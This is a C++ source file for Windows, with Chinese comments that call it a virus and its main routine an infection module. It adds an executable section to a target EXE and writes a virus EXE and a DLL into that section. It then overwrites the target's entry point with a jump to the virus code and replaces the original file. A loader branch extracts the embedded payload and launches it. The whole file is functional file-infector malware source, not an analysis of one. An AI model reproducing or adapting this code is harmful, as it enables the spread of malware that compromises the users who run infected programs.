激动的InjectFile
#include <windows.h>
#include <sys/stat.h>
#include <iostream>
#include <ctime>
using namespace std;
#define SAFE_DELETE(p) { if((p)!=NULL) { delete[] (p); (p) = NULL; }}
const int g_offset = 0x3E000;
const int g_offset_virus = 20; //距离病毒补齐
const int size = 260; //缓冲区大小
char decFileName[] = "复件 NormalNormal.exe"; // 目标文件
char decFileNameAfter[] = "testOne.exe"; // 被插EXE
char decFileDLLName[] = "InjectDLL.dll"; // 被插DLL
bool checkFileFlag(const char* fdecFileName, int a_offset);
bool InjectModule();
bool InsertSection(struct InjectByteBuf& param_IBBuf, struct _stat& decST, struct _stat& ownST,
const char* szDecFileName);
DWORD GetVaROffset(BYTE *decBuf, int param_InsertPosition,
int param_ISHSize, // 块表项结构大小
int param_ISHNumber, // 块表项个数
DWORD param_oep,
DWORD& param_DelTaK); // 获取VOffset 和 ROffset
bool FillZeroArea(FILE* decFile, ULONG VirtualSize, ULONG VirtualAddress);
bool CheckSubsystem(WORD param_subsystem);
bool OutPEFileInfo(IMAGE_NT_HEADERS& param_inh);
int GetMultiple4KB(int param_Any); // 获取4KB对齐数
//文件地址和内存地址转换结构
struct FAaVA
{
DWORD FileOffset; // 文件偏移地址
DWORD VirtualOffset; // 内存偏移地址
DWORD ImageBase; // 基地址
DWORD DelTaK; // 某段的VA与RA的差
};
DWORD FOffsetToVOffset(struct FAaVA& param_fav); // FO 转 VA
DWORD VOffsetToFOffset(struct FAaVA& param_fav); // VA 转 FA
// 附加在合并文件尾的结构
struct InjectAppendStruct
{
BYTE szHeadBuf[8]; // 头的8个字节
DWORD vDecHead_Offset; // 目标头8个字节的偏移量
DWORD vDecHead_OriginalOEP; // 目标OEP
DWORD vDecHead_ImageBase; // 目标内存基址
DWORD vown_Offset; // EXE文件偏移量
DWORD vdll_Offset; // DLL文件偏移量
DWORD vdll_Size; // DLL文件大小
char vdll_flag[4]; // 标识ZMEP
};
// 被插入的几个文件的缓冲区指针
struct InjectByteBuf
{
BYTE *ownBuf;
BYTE *decBuf;
BYTE *dllBuf;
struct _stat dllST; // dll的信息
};
////////////////////////////////////////////////////////////////////////////////////////////////////
int main(int argc, char** argv)
{
srand(time(NULL));
if(checkFileFlag(decFileName, g_offset))
{
//解压缩 Unpacker
char u_fileName[size] = {0};
char newfileName[size] = {0};
GetModuleFileName(0, u_fileName, sizeof(u_fileName));
FILE* u_filehdl = fopen(u_fileName, "rb"); // 合并后
//建立新文件
sprintf(newfileName, "_www%d__.exe", rand()%10000);
FILE* newoutFile = fopen(newfileName, "wb");
//每次读几个小字节。设置文件偏移指针
fseek(u_filehdl, g_offset + g_offset_virus, SEEK_SET);
BYTE* buf = NULL;
buf = new BYTE[5];
while(!feof(u_filehdl))
{
fread(buf, 1, sizeof(buf), u_filehdl);
fwrite(buf, 1, sizeof(buf), newoutFile);
}
fclose(newoutFile);
SAFE_DELETE(buf);
fclose(u_filehdl);
//先执行程序,要改名
ShellExecute(NULL, "open", newfileName, 0, 0, SW_SHOW);
//病毒开始执行
MSG msg;
ZeroMemory(&msg, sizeof(msg));
while(GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
} else {
InjectModule();
}
system("pause");
return 0;
}
// 检测标志串
bool checkFileFlag(const char* fdecFileName, int a_offset)
{
struct _stat tST;
_stat(decFileName, &tST);
// 偏移量,为本身的大小以字节计。
char buf[260] = {0};
FILE* tdecFile = fopen(fdecFileName, "rb");
fseek(tdecFile, a_offset, SEEK_SET);
fread(buf, 1, 3, tdecFile);
if(strcmp(buf, "ZME") == 0)
{
fclose(tdecFile);
return true;
} else {
fclose(tdecFile);
return false;
}
}
void ExcVar(BYTE& dec, BYTE& src)
{
BYTE t = 0;
t = dec;
dec = src;
src = t;
}
// 感染模块
bool InjectModule()
{
cout<<"Hello World"<<endl;
char ownFileName[size] = {0};
//GetModuleFileName(0, ownFileName, sizeof(ownFileName));
lstrcpyn(ownFileName, decFileNameAfter, sizeof(decFileNameAfter));
struct _stat ST,decST,dllST;
_stat(ownFileName, &ST);
_stat(decFileName, &decST);
_stat(decFileDLLName, &dllST);
FILE *decFile = fopen(decFileName, "rb");
FILE *ownFile = fopen(ownFileName, "rb");
FILE *dllFile = fopen(decFileDLLName, "rb"); // DLL文件
BYTE *ownBuf = NULL;
ownBuf = new BYTE[ST.st_size];
fread(ownBuf, 1, ST.st_size, ownFile);
fclose(ownFile);
BYTE *decBuf = NULL;
decBuf = new BYTE[decST.st_size];
fread(decBuf, 1, decST.st_size, decFile);
fclose(decFile);
BYTE *dllBuf = NULL;
dllBuf = new BYTE[dllST.st_size];
fread(dllBuf, 1, dllST.st_size, dllFile);
fclose(dllFile);
//最后再修改
InjectByteBuf tmpIBBuf;
ZeroMemory(&tmpIBBuf, sizeof(tmpIBBuf));
tmpIBBuf.decBuf = decBuf;
tmpIBBuf.ownBuf = ownBuf;
tmpIBBuf.dllBuf = dllBuf;
::_stat(decFileDLLName, &tmpIBBuf.dllST);
InsertSection(tmpIBBuf, decST, ST, decFileName); // 插入区块 计算块表各种参数
SAFE_DELETE(ownBuf);
SAFE_DELETE(decBuf);
return 0;
}
bool CheckSubsystem(WORD param_subsystem)
{
switch(param_subsystem)
{
case 0:
printf("未知文件子系统\n");
break;
case 2:
printf("图形(GUI)文件子系统\n");
break;
case 3:
printf("控制台(Console or DOS)文件子系统\n");
break;
default:
printf("未知文件子系统\n");
break;
}
return 0;
}
// 输出PE文件信息
bool OutPEFileInfo(IMAGE_NT_HEADERS& param_inh)
{
// 目标PE文件信息
if(param_inh.FileHeader.Machine == 0x14C) {
printf("Intel i386及以上 CPU: 0x%X\n", param_inh.FileHeader.Machine);
}
printf("块数目: 0x%d\n", param_inh.FileHeader.NumberOfSections);
printf("可选映像头(IMAGE_OPTIONAL_HEADER32大小: 0x%X\n", param_inh.FileHeader.SizeOfOptionalHeader);
printf("代码段大小: 0x%X\n", param_inh.OptionalHeader.SizeOfCode);
printf("已初始化数据块大小: 0x%X\n", param_inh.OptionalHeader.SizeOfInitializedData);
printf("未初始化数据块大小: 0x%X\n", param_inh.OptionalHeader.SizeOfUninitializedData);
printf("程序执行入口(OEP): 0x%X\n", param_inh.OptionalHeader.AddressOfEntryPoint);
printf("代码段起始RVA: 0x%X\n", param_inh.OptionalHeader.BaseOfCode);
printf("数据段起始RVA: 0x%X\n", param_inh.OptionalHeader.BaseOfData);
printf("程序默认装入的基址RVA: 0x%X\n", param_inh.OptionalHeader.ImageBase);
printf("内存镜像大小: 0x%X\n", param_inh.OptionalHeader.SizeOfImage);
CheckSubsystem(param_inh.OptionalHeader.Subsystem);
return 0;
}
// 计算4KB对齐数
int GetMultiple4KB(int param_Any)
{
int tmp4KBNum = param_Any / 0x1000;
int tmpNeatNum = tmp4KBNum * 0x1000;
return tmpNeatNum;
}
// 插入区块
bool InsertSection(struct InjectByteBuf& param_IBBuf, struct _stat& decST, struct _stat& ownST,
const char* szDecFileName)
{
cout<<"计算区块各参数:"<<endl;
// 插入区块, 先获取OEP
const int offDOSStub = 0x3C;
const int IMAGE_SECTION_HEADER_SIZE = sizeof(IMAGE_SECTION_HEADER);
//VC提供的头更容易方便
IMAGE_NT_HEADERS decINH, ownINH, dllINH;
long off_elfanew = 0; // 指向PE头
long vir_offelfanew = 0; // 指向自身PE头
long dll_elfanew = 0; // 指向DLLPE头
memcpy(&off_elfanew, ¶m_IBBuf.decBuf[offDOSStub], sizeof(long)); //DOS_Stub 然后再定位PE头
memcpy(&vir_offelfanew, ¶m_IBBuf.ownBuf[offDOSStub], sizeof(long));
memcpy(&dll_elfanew, ¶m_IBBuf.dllBuf[offDOSStub], sizeof(long));
memcpy(&decINH, ¶m_IBBuf.decBuf[off_elfanew], sizeof(IMAGE_NT_HEADERS));
memcpy(&ownINH, ¶m_IBBuf.ownBuf[vir_offelfanew], sizeof(IMAGE_NT_HEADERS));
memcpy(&dllINH, ¶m_IBBuf.dllBuf[dll_elfanew], sizeof(IMAGE_NT_HEADERS));
OutPEFileInfo(decINH);
printf("\n");
OutPEFileInfo(ownINH);
printf("\n");
OutPEFileInfo(dllINH);
//==#####################################################################################
printf("\n\n");
DWORD SectionTableHeaderValue = 0; // 块表首
memcpy(&SectionTableHeaderValue, ¶m_IBBuf.decBuf[off_elfanew + sizeof(IMAGE_NT_HEADERS)], sizeof(DWORD));
printf("块表首值: %X\n", SectionTableHeaderValue);
IMAGE_SECTION_HEADER tISH; // 块表结构实例
ZeroMemory(&tISH, sizeof(tISH));
int t_totalSectionLength = sizeof(tISH) * decINH.FileHeader.NumberOfSections; // 块总长度
int IMAGE_SECTION_HEADER_FIRST = off_elfanew + sizeof(IMAGE_NT_HEADERS); // 块表第一项位置
int t_InsertPosition = IMAGE_SECTION_HEADER_FIRST + t_totalSectionLength;
printf("块表项结构大小: %d字节\n", IMAGE_SECTION_HEADER_SIZE );
printf("总块表长度: %d字节(%X)\n", t_totalSectionLength, t_totalSectionLength);
printf("插块表项偏移位置: 0x0%X\n", t_InsertPosition);
//再这之前
printf("\n\n");
DWORD DecFileOEPOffset = 0; // 目标 分别在文件中OEP的 Offset
DWORD VirusFileOEPOffset = 0; // 病毒
DWORD tmpDecDeltaK = 0;
DecFileOEPOffset = GetVaROffset(param_IBBuf.decBuf, IMAGE_SECTION_HEADER_FIRST, IMAGE_SECTION_HEADER_SIZE,
decINH.FileHeader.NumberOfSections,
decINH.OptionalHeader.AddressOfEntryPoint, tmpDecDeltaK);
printf("OEP RAW File Offset: 0x%X\n", DecFileOEPOffset);
printf("\n\n");
printf("\n\n");
DWORD virus_STHValue = 0; // 块表首
memcpy(&virus_STHValue, ¶m_IBBuf.ownBuf[vir_offelfanew + sizeof(IMAGE_NT_HEADERS)], sizeof(DWORD));
printf("块表首值: %X\n", virus_STHValue);
IMAGE_SECTION_HEADER vtISH; // 病毒体块表结构实例
ZeroMemory(&vtISH, sizeof(vtISH));
int vt_totalSectionLength = sizeof(vtISH) * ownINH.FileHeader.NumberOfSections;
int ISH_FIRST = vir_offelfanew + sizeof(IMAGE_NT_HEADERS);
int vt_InsertPosition = ISH_FIRST + vt_totalSectionLength;
printf("总块表长度: %d字节(%X)\n", vt_totalSectionLength, vt_totalSectionLength);
printf("插块表项偏移位置: 0x0%X\n", vt_InsertPosition);
// 计算出病毒文件本身的
printf("\n\n");
DWORD tmpVirusDeltaK = 0; // 病毒体的DelTaK
VirusFileOEPOffset = GetVaROffset(param_IBBuf.ownBuf, ISH_FIRST, IMAGE_SECTION_HEADER_SIZE,
ownINH.FileHeader.NumberOfSections,
ownINH.OptionalHeader.AddressOfEntryPoint, tmpVirusDeltaK);
printf("OEP RAW File Offset: 0x%X\n", VirusFileOEPOffset);
// 计算病毒体本身的入口点
//封闭在内部
FILE* g_outFile = NULL;
//新建文件
char szName[size] = {0};
sprintf(szName, "The%d_.exe", rand()%10000);
g_outFile = fopen(szName, "wb");
fwrite(param_IBBuf.decBuf, 1, decST.st_size, g_outFile); // 输出目标程序
// 加区块了
int tmpTrueAddress = 0;
int tmpTrueSize = 0;
int tmpRelDeltaK = 0; // 新增区段的@K
// 一个小函数返回与4KB倍数的整数
tmpTrueAddress = GetMultiple4KB(decST.st_size);
tmpTrueSize = GetMultiple4KB(ownST.st_size);
if(g_outFile) {
strncpy((char*)tISH.Name, ".edata", sizeof(tISH.Name));
// 由于VirtualAddress是和内存映像做和,所以不用取整
// 内存地址和大小
tISH.VirtualAddress = decINH.OptionalHeader.SizeOfImage; // 此地址为在内存中的偏移量
tISH.Misc.VirtualSize = tmpTrueSize; // 4KB VOffset
// 磁盘文件地址和大小
tISH.PointerToRawData = tmpTrueAddress; // 此地址为在文件中的偏移量 RAWOffset
tISH.SizeOfRawData = ownST.st_size;
tmpRelDeltaK = tISH.VirtualAddress - tISH.PointerToRawData;
tISH.PointerToRelocations = 0; // 在OBJ文件中使用, 重定位的偏移
tISH.PointerToLinenumbers = 0; // 行号表的偏移(供调试用)
tISH.NumberOfRelocations = 0; // 在OBJ文件中使用,重定位项目数
tISH.NumberOfLinenumbers = 0;
tISH.Characteristics = 0xE0000020; // 块属性, 表示包含执行代码、可读写并可执行。
printf("\n\n");
printf("区块地址\n");
printf("VirualAddress : 0x%X \n", tISH.VirtualAddress);
printf("\n\n");
printf("RAWAddress : 0x%X \n", tISH.PointerToRawData);
printf("区块大小\n");
printf("VirtualSize: 0x%X\n", tISH.Misc.VirtualSize);
printf("RAWSize: 0x%X\n", tISH.SizeOfRawData);
fseek(g_outFile, 0, SEEK_SET);
fseek(g_outFile, t_InsertPosition, SEEK_SET);
fwrite(&tISH, 1, sizeof(tISH), g_outFile); // 写入块结构
fseek(g_outFile, off_elfanew + 0x06, SEEK_SET);
WORD NumberOfSections = decINH.FileHeader.NumberOfSections;
NumberOfSections++;
fwrite(&NumberOfSections, 1, sizeof(NumberOfSections), g_outFile); // 修改块数目
// 内存对齐很重要
decINH.OptionalHeader.SizeOfImage += tISH.Misc.VirtualSize; // 对齐后的内存镜像大小
fseek(g_outFile, off_elfanew + 0x50, SEEK_SET); // 定位
fwrite(&decINH.OptionalHeader.SizeOfImage, 1, sizeof(DWORD), g_outFile);
FillZeroArea(g_outFile, tISH.Misc.VirtualSize, tISH.VirtualAddress); //在指定地址后写零
}
// 病毒的偏移地址
// 对文件头进行修改, 保存文件头,那保存的放到哪里呢?由于只是数据,就写在文件的最后吧。
// 也就是再增加下文件的长度,其中要存储下地址
fseek(g_outFile, tmpTrueAddress, SEEK_SET); //定位到新增的区段
// 写入标志共16个字节
//char szFlag[4];
//szFlag[0] = 'Z';
//szFlag[1] = 'M';
//szFlag[2] = 'E';
//szFlag[3] = 'P';
//for(int i=0;i<4; ++i) {
// fwrite(szFlag, 1, sizeof(szFlag), g_outFile);
//}
fwrite(param_IBBuf.ownBuf, 1, ownST.st_size, g_outFile);
// 插入DLL文件
//decFileDLLName
int dll_Offset = tmpTrueAddress + tmpTrueSize;
fseek(g_outFile, dll_Offset, SEEK_SET);
fwrite(param_IBBuf.dllBuf, 1, param_IBBuf.dllST.st_size, g_outFile);
int dllTrueSize = GetMultiple4KB(param_IBBuf.dllST.st_size); // 取整计算
int decHead_Offset = decST.st_size + ownST.st_size + param_IBBuf.dllST.st_size; // 都用整数
fseek(g_outFile, decHead_Offset, SEEK_SET);
//建立临时缓冲区 前8个字节
// 附加Flag和文件偏移
InjectAppendStruct tmpAStruc;
ZeroMemory(&tmpAStruc, sizeof(tmpAStruc));
memcpy(tmpAStruc.szHeadBuf, ¶m_IBBuf.decBuf[DecFileOEPOffset], 8);
// fwrite(tmpAStruc.szHeadBuf, 1, 8, g_outFile);
//目标
//EXE
//DLL
//附加信息
//
//
tmpAStruc.vDecHead_Offset = decHead_Offset; //存储Head指令的地方
tmpAStruc.vDecHead_OriginalOEP = DecFileOEPOffset; //目标OEP
tmpAStruc.vDecHead_ImageBase = decINH.OptionalHeader.ImageBase; //目标基址
tmpAStruc.vown_Offset = tmpTrueAddress;
tmpAStruc.vdll_Offset = tmpTrueAddress + tmpTrueSize;
tmpAStruc.vdll_Size = param_IBBuf.dllST.st_size;
tmpAStruc.vdll_flag[0] = 'Z';
tmpAStruc.vdll_flag[1] = 'M';
tmpAStruc.vdll_flag[2] = 'E';
tmpAStruc.vdll_flag[3] = 'P';
fwrite(&tmpAStruc, 1, sizeof(tmpAStruc), g_outFile);
//int dll_Offset = tmpTrueAddress + tmpTrueSize;
printf("0x%X\n", dll_Offset);
// 分别定为到两个程序的入口,修改指令。
int VirusTrueOEP = VirusFileOEPOffset + tmpTrueAddress;
printf("OEP在文件中偏移: 0x %X\n", VirusTrueOEP);
FAaVA tmpVirusFA; // 保存病毒的基地址,FA, DelTaK , VA
printf("合并后, 偏移地址 0x%X\n", VirusTrueOEP);
tmpVirusFA.DelTaK = tmpRelDeltaK;
tmpVirusFA.FileOffset = VirusTrueOEP;
tmpVirusFA.ImageBase = ownINH.OptionalHeader.ImageBase;
DWORD tmpTrueVA = FOffsetToVOffset(tmpVirusFA);
printf("地址地址地址: 0x%X 0x%X 0x%X\n", tmpVirusFA.FileOffset, tmpVirusFA.ImageBase, tmpVirusFA.DelTaK);
printf("转换后的 内存地址 0x%X\n", tmpTrueVA);
//fseek(g_outFile, VirusTrueOEP, SEEK_SET);
// 计算机器码出来
fseek(g_outFile, DecFileOEPOffset, SEEK_SET);
// 计算指令
tmpVirusFA.DelTaK = tmpDecDeltaK;
tmpVirusFA.FileOffset = DecFileOEPOffset;
tmpVirusFA.ImageBase = decINH.OptionalHeader.ImageBase;
int tmpVADecOEP = FOffsetToVOffset(tmpVirusFA);
int tmpCurinstruc = tmpTrueVA - tmpVADecOEP - 5;
printf("当前指令地址:0x%X \n", tmpCurinstruc );
char szMacCode[1];
szMacCode[0] = '\xE9';
fwrite(szMacCode, 1, 1, g_outFile);
fwrite(&tmpCurinstruc, 1, sizeof(tmpCurinstruc), g_outFile);
fclose(g_outFile);
remove(szDecFileName);
rename(szName, szDecFileName);
return 0;
}
// FO 转 VA
DWORD FOffsetToVOffset(struct FAaVA& param_fav)
{
DWORD VA = param_fav.FileOffset + param_fav.ImageBase + param_fav.DelTaK;
return VA;
}
// VA 转 FA
DWORD VOffsetToFOffset(struct FAaVA& param_fav)
{
DWORD FA = param_fav.VirtualOffset - param_fav.ImageBase - param_fav.DelTaK;
return FA;
}
// 获取VOffset和 ROffset
// 这里的@K 就是 每个块项中VOffset与ROffset的差, 有了这个@K就好办了。
// VA - ImageBase - @K = FileOffset了。 而OEP实际上已经就是VA - ImageBase = RVA了。
// 所以, 直接用 OEP - @K就行了。
DWORD GetVaROffset(BYTE *decBuf, int param_InsertPosition,
int param_ISHSize, int param_ISHNumber,
DWORD param_oep,
DWORD& param_DelTaK)
{
IMAGE_SECTION_HEADER tISH; // 读取一个结构
int tmp_OEPFileOffset = 0; // OEP在实际文件中的Offset
int tmp_VOffset = 0;
int tmp_ROffset = 0;
printf("OEP is : 0x%X\n", param_oep);
printf("列出块表项信息: \n");
printf(" 块名 VOffset VSize ROffset RSize 标志 \n");
for(int i=0;i<param_ISHNumber; ++i) {
memcpy(&tISH, &decBuf[param_InsertPosition + i * param_ISHSize], param_ISHSize);
printf("%s 0x%X 0x%X 0x%X 0x%X 0x%X\n", tISH.Name, tISH.VirtualAddress, tISH.Misc.VirtualSize, tISH.PointerToRawData, tISH.SizeOfRawData , tISH.Characteristics);
int OEPaVOffsetSubVal = param_oep - tISH.VirtualAddress;
printf("OEP - VOffset = 0x%X\n", OEPaVOffsetSubVal);
if((OEPaVOffsetSubVal >= 0) && (OEPaVOffsetSubVal < tISH.VirtualAddress))
{
tmp_OEPFileOffset = OEPaVOffsetSubVal;
tmp_VOffset = tISH.VirtualAddress;
tmp_ROffset = tISH.PointerToRawData;
}
}
printf("OEP FileOffset: 0x%X\n", tmp_OEPFileOffset);
int sub_VROffset = tmp_VOffset - tmp_ROffset;
param_DelTaK = sub_VROffset;
int sub_TrueFileOffset = 0; // 实际OEP FileOffset
sub_TrueFileOffset = param_oep - sub_VROffset;
printf("The @K: 0x%X\n", sub_VROffset);
return sub_TrueFileOffset;
}
// 填充全零区
bool FillZeroArea(FILE* decFile, ULONG VirtualSize, ULONG VirtualAddress)
{
fseek(decFile, VirtualAddress, SEEK_SET);
BYTE *szBuf = NULL;
szBuf = new BYTE[VirtualSize];
strncpy((char*)szBuf, "Z", VirtualSize);
fwrite(szBuf, 1, VirtualSize, decFile);
BYTE tmp = 0;
fseek(decFile, VirtualAddress, SEEK_SET);
fwrite(&tmp, 1, sizeof(tmp), decFile);
SAFE_DELETE(szBuf);
return 0;
}